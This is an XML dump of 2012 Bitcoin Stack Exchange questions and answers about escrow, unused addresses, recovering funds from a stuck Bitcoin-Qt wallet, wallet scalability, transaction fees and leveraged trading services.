  <row Id="4914" PostTypeId="1" CreationDate="2012-10-01T17:49:07.470" Score="1" ViewCount="469" Body="&lt;p&gt;Can a project similar to Freelancer.com or elance.com but based only on BC payments be created or the implementation of BC transfer between the employer and the freelancer would be too complicated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, i.e. freelancer.com is using escrow for transactions etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something silimar possible to develop but only for BC? If yes, is there some company that can do it like e.g. &lt;a href=&quot;https://www.escrow.com/index.asp&quot; rel=&quot;nofollow&quot;&gt;https://www.escrow.com/index.asp&lt;/a&gt; but with bitcoins? &lt;/p&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2024-04-03T10:03:01.353" Title="Freelancer.com-like website but based only on BC payments using some sort of escrow-like system to make sure that employer has enough money?" Tags="|job|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4915" PostTypeId="2" ParentId="4914" CreationDate="2012-10-01T18:18:32.767" Score="2" Body="&lt;p&gt;Such projects are possible with Bitcoins. Generally, what you can do with money, you can do with Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Escrow services in Bitcoin were popping up every now and then in the earlier days of Bitcoin, but I don't recall any of them becoming too popular. However, setting up an escrow-like service should be fairly simple. If you need some help, you can drop me a line ;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-01T18:18:32.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4916" PostTypeId="1" AcceptedAnswerId="4919" CreationDate="2012-10-01T21:41:23.020" Score="12" ViewCount="5328" Body="&lt;p&gt;If one were to send bitcoins to an address that has not been created yet, what would happen? Would the coins be lost forever? Would they just sit there until the address and key pair are generated?&lt;/p&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="5406" LastEditDate="2021-03-06T19:32:58.993" LastActivityDate="2021-03-06T19:32:58.993" Title="What would happen if you send bitcoins to a non-existent Bitcoin address?" Tags="|address|private-key|public-key|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4917" PostTypeId="2" ParentId="4916" CreationDate="2012-10-01T22:40:46.157" Score="2" Body="&lt;p&gt;Yes. By the way this is exactly the point of a paper wallet like you can get from &lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org/&lt;/a&gt;, you generate an address and private key that don't exist anywhere in the digital world, but you do transfer funds to the address. When you need them you add the private key to a bitcoin client to claim it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck by the way with finding out the private key of an address that was created randomly.&lt;/p&gt;&#xA;" OwnerUserId="1971" LastActivityDate="2012-10-01T22:40:46.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4918" PostTypeId="2" ParentId="4916" CreationDate="2012-10-02T01:00:01.113" Score="2" Body="&lt;p&gt;The bitcoins would be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also very, very, very (times a very big number) unlikely that a randomly chosen address would ever be generated, as such capability would mean that &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22/is-it-possible-to-brute-force-bitcoin-address-creation-in-order-to-steal-money&quot;&gt;brute force attacks&lt;/a&gt; could be performed and Bitcoin as a payment system would no longer be secure.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-10-02T01:00:01.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4919" PostTypeId="2" ParentId="4916" CreationDate="2012-10-02T01:52:19.020" Score="5" Body="&lt;p&gt;There's no such thing as a &quot;non-existent&quot; address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than valid addresses created by a client in which the private key is kept secret there are also are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Invalid addresses (which will fail the client's sanity checks and thus cannot be used when building a transaction) &lt;/li&gt;&#xA;&lt;li&gt;There are also valid addresses in which no key exists.  The private key is required to spend the funds.  If the private key was lost or one was never generated (such as for 1BitcoinEaterAddressDontSendf59kuE) any amounts sent to that address are lost and can never be spent.  There is no way to know if a private key exists for 1BitcoinEaterAddressDontSendf59kuE or if it was a purposely created throw-away address.&lt;/li&gt;&#xA;&lt;li&gt;There are also valid addresses in which no key can exist.  An answer to a related question provides &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1852/153&quot;&gt;an example&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is no way to know for sure that a valid address has no private key.  What is known is that a program like VanityGen would not be able to create an address that includes many readable words like the address 1BitcoinEaterAddressDontSendf59kuE contains using the type of computational capacity that exists today.  So it can be assumed beyond any realm of possibility (but not absolutely, positively 100% guaranteed) that bitcoins sent to that address are gone for good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/924&quot;&gt;Can a bitcoin be destroyed?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1851/153&quot;&gt;How to generate a valid bitcoin address for destroying bitcoins?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-10-02T02:08:18.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4920" PostTypeId="1" CreationDate="2012-10-02T04:16:35.607" Score="5" ViewCount="21285" Body="&lt;p&gt;My wallet has been stuck synchronizing for 21 days, my transfer is in the block chain but I can't get it to sync with my wallet. I've closed firewalls, uninstalled and reinstalled QT with back up and cannot get the wallet to get current, it is frozen and I can't get my 20 BTC. I'm fairly new and am unable to copy and paste blockchain or whatever. I still have the original Bitcoin address the bitcoins were transfered to from my mtgox account.&lt;/p&gt;&#xA;" OwnerUserId="1973" LastEditorUserId="2306" LastEditDate="2015-01-07T02:39:10.787" LastActivityDate="2017-10-13T23:23:04.177" Title="My client stopped synchronizing, how can I access my wallet?" Tags="|blockchain|wallet|bitcoin-core|synchronization|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4921" PostTypeId="2" ParentId="4920" CreationDate="2012-10-02T04:42:44.577" Score="3" Body="&lt;p&gt;It's not your wallet you need to &quot;get current&quot;; it's the blockchain. However, the standard client does need an internet connection for many of its functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, you want to ensure you've &lt;a href=&quot;https://bitcoin.stackexchange.com/q/746/516&quot;&gt;got a backup of your wallet.dat&lt;/a&gt; (preferably encrypted) file, which contains the private keys you need to recover your funds. If it was me, I'd make 2 copies and store them on different machines in different locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, you need to get your client app up and running. This is likely to take some further analysis, but to start with can you please state the version of the client you're trying to use, and whether or not you are using a proxy server for your internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that the blockchain is available for download separately;  you'd save a lot of time doing it that way as synchronization can take hours (it's a disk-intensive process). See details here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/799/516&quot;&gt;Can I download the whole block chain from somewhere?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The QT client may still be able to export the private key for your receiving address without an internet connection, which you would be able to import to a different client or an e-wallet to use your funds; can anyone confirm?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-10-02T04:51:34.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4923" PostTypeId="2" ParentId="4904" CreationDate="2012-10-02T06:09:56.170" Score="3" Body="&lt;p&gt;It is a bad idea to have multiple copies of your wallet.dat running from multiple computers if both will be spending.  You risk getting double spend attempts that will never confirm and cannot be cleared without performing wallet surgery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlockChain.info/wallet has a &quot;desktop sync&quot; feature that will let their hybrid EWallet sync with your Bitcoin.org client (through RPC), but since BlockChain.info/wallet can be used on multiple machines why not just use BlockChain.info/wallet from everywhere instead?  You get to use the mobile app with it as well.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-02T06:09:56.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4924" PostTypeId="2" ParentId="4920" CreationDate="2012-10-02T06:12:18.477" Score="4" Body="&lt;p&gt;I haven't used it yet, but maybe there is a method you might find useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlockChain.info/wallet has a &quot;desktop sync&quot; feature in which you configure your client to act as a server and accept RPC commands.  Then the BlockChain.info/wallet plugin will grab your keys from your wallet.dat and sync them by copying them to your BlockChain.info/wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to have the client current with the latest blockchain download for this to work and it doesn't use the Bitcoin P2P network so this should solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-02T21:37:55.790" LastActivityDate="2012-10-02T21:37:55.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4925" PostTypeId="2" ParentId="4920" CreationDate="2012-10-02T07:11:33.613" Score="1" Body="&lt;p&gt;Your coins are not lost as long as you have the private keys from your wallet.dat file, which can be found in &lt;code&gt;C:\Users\%username%\AppData\Roaming\Bitcoin&lt;/code&gt; for Windows 7. Most likely your problem is the client which was fed with wrong data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt is a full node and backbone of Bitcoin Network, but it's a bit hard to get it right for a new user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should try what Stephen Gornick suggested. &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; is an eWallet that will do all the work. The desktop sync functionality will use the right data from blockchain.info and your private keys from your desktop to let you manage your bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="17113" LastEditDate="2014-06-15T15:09:40.797" LastActivityDate="2014-06-15T15:09:40.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4926" PostTypeId="2" ParentId="4920" CreationDate="2012-10-02T07:20:21.650" Score="9" Body="&lt;p&gt;I can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your money is &quot;yours&quot;, it just isn't being listed in your wallet because as you say, your wallet is having trouble updating... That's OK! You can access it in other ways, such as an online e-wallet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we need to get your &quot;private key&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Close bitcoin completely, then&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open control panel, select &quot;large icons&quot; in the top right corner&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;folder options&quot;, or if you are opening it from the start menu, just click &quot;folder options&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &quot;view&quot; tab&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;under &quot;hidden files and folders&quot;, click &quot;show hidden files and folders and drives&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deselect &quot;hide extensions of known file types&quot;, this will allow you to see the bitcoin working folder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press OK&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;right click the start button and click &quot;open windows explorer&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;local disk (c:)&quot; under &quot;my computer&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;users&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;yourusername&quot; eg &quot;john&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;appdata&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;roaming&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick the &quot;bitcoin&quot; folder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(this is for Windows 7, for XP the directory is &lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;15&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;right click an empty area in the folder and select &quot;new&quot;&gt;&quot;text document&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick the new text document&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;type the following 2 lines into the empty text document:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rpcuser=someusername&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rpcpassword=somepassword&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;replace someusername and somepassword with anything (you don't have to remember it later) so button mashing udhf9w8dg98rgu will work (no spaces)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;file&quot;&gt;&quot;save as&quot; type &quot;bitcoin.conf&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press save&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click the start button and click &quot;open windows explorer&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;local disk (c:)&quot; under &quot;my computer&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;program files(x86)&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;doubleclick &quot;bitcoin&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;hold shift and right click on &quot;daemon&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;click &quot;open command window here&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;type &quot;bitcoind&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;leave that window open,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait 2 minutes for the daemon to load&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't close the window  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go back to the explorer window, and again,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold shift and right click on &quot;daemon&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;open command window here&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If your wallet is encrypted, go to A then proceed to B if not go straight to B&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A: type &quot;bitcoind walletpassphrase 600&quot; where walletpassphrase is your wallet password and press enter&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;B: type &quot;bitcoind dumpprivkey 1YourBitcoinAddress1234567890&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;36&quot;&gt;&#xA;&lt;li&gt;replace 1YourBitcoinAddress1234567890 with the address where you withdrew the money to. You will get a long string of numbers. Leave this window open...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upload the private key to a managed service&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;37&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Goto blockchain.info&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;click &quot;wallet&quot; at the top&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;click &quot;start a new wallet&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;sign up for a new wallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;once your new wallet is created, log in to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;go to the tab that says &quot;import/export&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press &quot;continue&quot; at the warning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;where it says &quot;import private key&quot;, type the long string of numbers EXACTLY from the black window&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press &quot;add private key&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your wallet is now managed online.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastEditorUserId="42185" LastEditDate="2017-10-13T23:23:04.177" LastActivityDate="2017-10-13T23:23:04.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4927" PostTypeId="2" ParentId="4911" CreationDate="2012-10-02T07:21:38.000" Score="1" Body="&lt;p&gt;You Can Learn Bitcoin  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.coindl.com/page/item/391&quot; rel=&quot;nofollow&quot;&gt;https://www.coindl.com/page/item/391&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are a couple others:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.coindl.com/page/category/ebooks&quot; rel=&quot;nofollow&quot;&gt;https://www.coindl.com/page/category/ebooks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-02T07:21:38.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4928" PostTypeId="1" AcceptedAnswerId="4935" CreationDate="2012-10-02T10:14:05.513" Score="8" ViewCount="2457" Body="&lt;p&gt;I am working on a project which may end up generating a few hundred (or even more) bitcoin addresses a day. From my understanding in theory there is no limit on the number of bitcoin addresses in a wallet, but i fear to run into scalability issues with bitcoind on the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will RAM or CPU usage increase significantly? Is there any known limit of the number of addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Probably 60-80% of these addresses will never receive any transaction. Don't know if this makes a difference.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-10-11T06:08:56.423" Title="How many addresses can be handled reliable in one wallet?" Tags="|wallet|bitcoind|scalability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4929" PostTypeId="2" ParentId="4928" CreationDate="2012-10-02T10:54:13.997" Score="3" Body="&lt;p&gt;From what I heard, Bitcoin uses a &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_table&quot; rel=&quot;nofollow&quot;&gt;hash table&lt;/a&gt; for storing its addresses when checking new blocks and transactions for whether they are related to our wallet or not. This data structure should allow for fairly efficient data handling, meaning that it should scale fairly well with growing amount of addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for any sane amount of addresses, Bitcoin should scale well. Generally, the size of the wallet.dat is small in comparison to how much RAM even a low-end machine has, so it shouldn't be much of an issue.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-02T10:54:13.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4930" PostTypeId="1" AcceptedAnswerId="4931" CreationDate="2012-10-02T11:40:49.447" Score="2" ViewCount="3449" Body="&lt;p&gt;Where does the money go? Is it possible for any person to setup his wallet application to process transactions and make some more BTC?&lt;/p&gt;&#xA;" OwnerUserId="1849" LastActivityDate="2012-10-03T00:33:32.710" Title="Is it possible to earn BTC by processing transactions?" Tags="|transactions|wallet|payment|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4931" PostTypeId="2" ParentId="4930" CreationDate="2012-10-02T11:57:35.307" Score="4" Body="&lt;p&gt;If you run an Escrow service, yes, you could get paid to process transactions. But that's probably not what you're asking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In normal cases, transaction fees go into the reward for a new block being mined and are earned by the miners that create the new block. This takes specialised hardware and software. If you want to get your feet wet in this area, you ought to look into mining at a pool.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-02T11:57:35.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4932" PostTypeId="2" ParentId="2746" CreationDate="2012-10-02T13:24:32.050" Score="5" Body="&lt;p&gt;I would recommend &lt;a href=&quot;http://www.xmlgold.net&quot; rel=&quot;nofollow&quot;&gt;http://www.xmlgold.net&lt;/a&gt;. They offer a pretty good system which allows you to buy a &lt;a href=&quot;http://www.xmlgold.eu&quot; rel=&quot;nofollow&quot;&gt;prepaid mastercard&lt;/a&gt; with bitcoins and load the card with bitcoins. They have low fees.&lt;/p&gt;&#xA;" OwnerUserId="1979" LastEditorUserId="1924" LastEditDate="2012-10-25T10:21:10.130" LastActivityDate="2012-10-25T10:21:10.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4934" PostTypeId="2" ParentId="4836" CreationDate="2012-10-02T20:57:12.120" Score="2" Body="&lt;p&gt;I believe a jump in the network hash rate could have some other effects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;assuming those 7000 ASIC-containing orders are widely dispersed, it should make it more difficult for a 51% attack. &lt;/li&gt;&#xA;&lt;li&gt;the reliability of txn processing is improved. While nothing will happen faster, as blocks will still be generated at the same frequency, the blocks will be more difficult to generate. &lt;/li&gt;&#xA;&lt;li&gt;a lot of hardware will become obsolete for bitcoin mining, and repurposed elsewhere. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1982" LastActivityDate="2012-10-02T20:57:12.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4935" PostTypeId="2" ParentId="4928" CreationDate="2012-10-02T22:13:29.897" Score="4" Body="&lt;p&gt;There isn't a problem with storage but there is a problem with the computation time necessary when constructing spend transactions which involve a large number of inputs from your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem that is evidenced by those who run Martingale betting bots against SatoshiDICE for instance.  After they get several thousand bitcoin addresses with transactions, their subsequent bet transactions that draw from those coins start to crawl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A future release of the Bitcoin.org client will address this by switching from BDB to LevelDB.  Additionally targeted for future release is &quot;ultraprune&quot; which will lessen the storage requirements as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, InstaWallet is one service that was able to come up with a solution that mitigated the problem.  They might be able to offer some suggestions. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-02T22:13:29.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4936" PostTypeId="2" ParentId="4930" CreationDate="2012-10-03T00:33:32.710" Score="3" Body="&lt;p&gt;When you are &quot;mining&quot; BitCoin, you are processing (providing 3rd party confirmation of) transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Bitcoin block is a list of recent transactions received over the P2P network, from bitcoin clients. Consider it like a double-entry accounting ledger of some transactions, with particular focus on their exact order, based on timestamp. A miner adds a special generate transaction to the end of the block and then uses a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;nofollow&quot;&gt;Cryptographic hash&lt;/a&gt; function to calculate a candidate hash value for the block. If the numeric hash value fits under the &quot;limbo stick&quot; of current Bitcoin difficulty, the network considers the block valid, awards the miner the 50BTC reward &lt;strong&gt;and any transaction fees&lt;/strong&gt;, and the transactions within the block receive a confirmation. &lt;/p&gt;&#xA;" OwnerUserId="1982" LastActivityDate="2012-10-03T00:33:32.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4937" PostTypeId="1" AcceptedAnswerId="4939" CreationDate="2012-10-03T06:35:19.703" Score="5" ViewCount="2615" Body="&lt;p&gt;For awhile &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoinica&quot; rel=&quot;noreferrer&quot;&gt;Bitcoinica&lt;/a&gt; was a very popular leveraged trading service, but it got hacked and closed down. Are there any more services like that still functioning in the Bitcoin ecosystem?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2020-06-17T09:41:09.090" Title="Are there any active Bitcoin leveraged trading platforms available?" Tags="|trading|services|investing|business|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4938" PostTypeId="2" ParentId="4937" CreationDate="2012-10-03T07:03:38.847" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://icbit.se/&quot; rel=&quot;nofollow&quot;&gt;https://icbit.se/&lt;/a&gt; offers trading of futures instruments, in particular BTCUSD-12.12 (BUZ2) which enables leveraged BTC trading. However, user orders are matched only against other users (it does not utilize liquidity from larger exchanges such as Mt. Gox), and the way it works is not very intuitive.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-10-03T07:03:38.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4939" PostTypeId="2" ParentId="4937" CreationDate="2012-10-03T08:55:43.990" Score="3" Body="&lt;p&gt;MPEx operates MPOE for options trading.  Though options are a financial derivative in what a smaller amount of funds is used to speculate on the price move in the valuation of a much larger amount.  For example, BTC/USD options contracts costing 0.1 BTC could triple in value should the BTC/USD exchange rate move by a couple dollars, for instance.  MPOE's options exercised are settled in cash (bitcoins). However, MPEx does offer margined trading (essentially a loan that can be used for trading).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://polimedia.us/bitcoin/mpex.php&quot; rel=&quot;nofollow&quot;&gt;http://polimedia.us/bitcoin/mpex.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;ICBIT.se offers leveraged futures contract trading. It offers futures contracts for the BTC/USD exchange rate, for Gold and for Crude Oil (WTI).  These are cash-settlement (in bitcoins).  Leverage can be up to 10X.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ICBit.se&quot; rel=&quot;nofollow&quot;&gt;http://www.ICBit.se&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are various Forex shops which accept bitcoins as a method for adding funds and which also offer leverage.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bit4x.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bit4x.com&lt;/a&gt;  (Leverage up to 1000X.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.liteforex.com&quot; rel=&quot;nofollow&quot;&gt;http://www.liteforex.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-03T09:01:41.033" LastActivityDate="2012-10-03T09:01:41.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4940" PostTypeId="1" AcceptedAnswerId="4941" CreationDate="2012-10-03T08:55:52.307" Score="8" ViewCount="2753" Body="&lt;p&gt;This issue came up during a chat on &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4910/323&quot;&gt;this answer&lt;/a&gt; to a question asked by a new Bitcoin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I am new to Bitcoin and don't want to go through the hassle of exchanging money for coins quite yet. I don't have much of marketable skills, so I can't offer my services. How then can I earn some Bitcoins with minimal skill requirements, without any long-term commitment or investment of any type?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2018-02-17T01:05:50.227" Title="How can one earn some Bitcoins with minimal skill requirements?" Tags="|job|earnings|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
